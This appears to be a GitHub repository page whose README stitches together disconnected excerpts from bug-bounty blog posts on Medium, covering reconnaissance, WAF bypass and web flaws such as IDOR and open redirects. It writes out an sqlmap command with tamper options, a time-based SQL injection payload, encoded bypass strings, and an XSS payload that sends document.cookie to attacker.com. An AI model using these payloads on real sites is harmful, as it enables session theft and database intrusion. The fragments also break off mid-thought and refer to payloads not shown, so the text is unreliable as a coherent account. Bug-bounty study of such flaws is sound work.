Skip to content

erkankavas/cybersecurity-medium-blogs

BranchesTags

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

265 Commits
LICENSE
LICENSE
 
 
README.md
README.md
 
 

Repository files navigation

Cybersecurity Blogs

This repository serves as a collection of insightful and informative blog posts about cybersecurity, originally published on Medium.

As a bug hunter, it is essential to remain ethical and handle such situations professionally. Some individuals react impulsively and retaliate inappropriately in such cases. However, it’s crucial to maintain self-control.

sqlmap -u "targetlink" -p parameter --tamper=space2comment --dbs --random-agent

Using two-level encoding like this allowed us to bypass the WAF and conceal the payload.

To make such payloads more convincing, you can prepend random characters or specific terms, elevating the attack to another level.

%253c---key---%253e---key2—-%2528---emoji---%2529%253c%252f---key---%253e

As I’ve mentioned before, the reconnaissance phase is incredibly important, and you should continue your reconnaissance efforts even after finding an initial vulnerability.

Every small mistake might lead you to something much bigger, so patience and keeping your eyes open are key.

+(select*from(select(sleep(20)))a)+

With this XSS payload, you can change the location in a reflected XSS vulnerability and redirect the page.

Another favorite of mine is a payload that allows you to steal cookies:

<script>new Image().src="https://attacker.com/cookie.php?cookie="+document.cookie</script>

The system’s logic involves creating a new list from the “Create New List” section in the user profile, naming it, and then adding movies and TV series to curate a personalized list.

This list is then published on your profile. However, due to a critical oversight by the developers, it’s possible to upload XSS payloads into the list’s title field using a simple trick.

  <script>
  document.body.addEventListener('click', () => 
  setTimeout(() => 
      new Audio('https://www.myinstants.com/media/sounds/among-us-role-reveal-sound.mp3').play(), 2000), 
  { once: true });
  </script>

Open redirection bugs generally occur in areas designed to redirect users automatically after completing a form or triggering an action, such as through parameters like refURL, returnURL, followURL. These vulnerabilities can be exploited to manipulate users into being redirected to a malicious site after completing legitimate actions on the real website.

In the login section, when a user logs in, if the API returns a status : success and redirects you to the member-viewing frame, it is important to check for any vulnerabilities.

Similarly, when registration is successful, the app either redirects to the main frame or shows an error message. At this point, create a temporary email, register, and analyze the requests using Burp Suite.

While browsing a website, we only see the content intended for users. But wait — there’s more! Hidden files on websites may contain sensitive information like usernames, passwords, API keys, personal data, organizational secrets, cookies, or tokens.

Some files might even be left on the server by mistake. If these fall into a hacker’s hands, they could lead to a serious data breach.

Account takeover vulnerabilities are among the most critical security flaws as they allow attackers to gain full control over user accounts. There are two main types of account takeover vulnerabilities:

After some analysis, I came across an interesting parameter named error. This caught my attention, and I knew it was worth digging deeper.

The url was like this:

https://target.com/my/login/errormessage?error=

I tried the text injection and when I added the injection text it was not reflecting the way I expected, then I encoded the text and when submitted it was reflecting in the page in the format as expected.

This left me with around 50–60 live subdomains. From there, I randomly picked about 20–30 subdomains and opened them all at once using a Chrome extension called “Open Multiple URLs.”

While going through the subdomains, a few immediately stood out. One of them had a “page=” parameter in the URL, which instantly caught my attention.

subfinder -d example.com -o example.txt
cat example.txt | httpx -status-code -mc 200,301 -silent

It took weeks of persistence before I found my first vulnerability. It was an IDOR (Insecure Direct Object Reference) in a small web app. By manipulating a single parameter in the URL, I could access invoices from other users.

It was like magic — one parameter changed, and the doors swung open!

After understanding the logic of the website, I found that it sends a request to assign any role to the backend without validating whether the role requires payment or not. The check is only enforced on the frontend side.

The bug here is that if I send a role change request directly to the backend, I can upgrade a member’s privileges without making any payment

https://medium.com/bugbountywriteup/bypassing-regex-validations-to-achieve-rce-a-wild-bug-story-4c523f69b9f8

About

This repository serves as a collection of insightful and informative blog posts about cybersecurity, originally published on Medium.

Resources

Readme

License

MIT license
Activity

Stars

1 star

Watchers

1 watching

Forks

0 forks
Report repository

Releases

No releases published

Packages

 
 
 

Contributors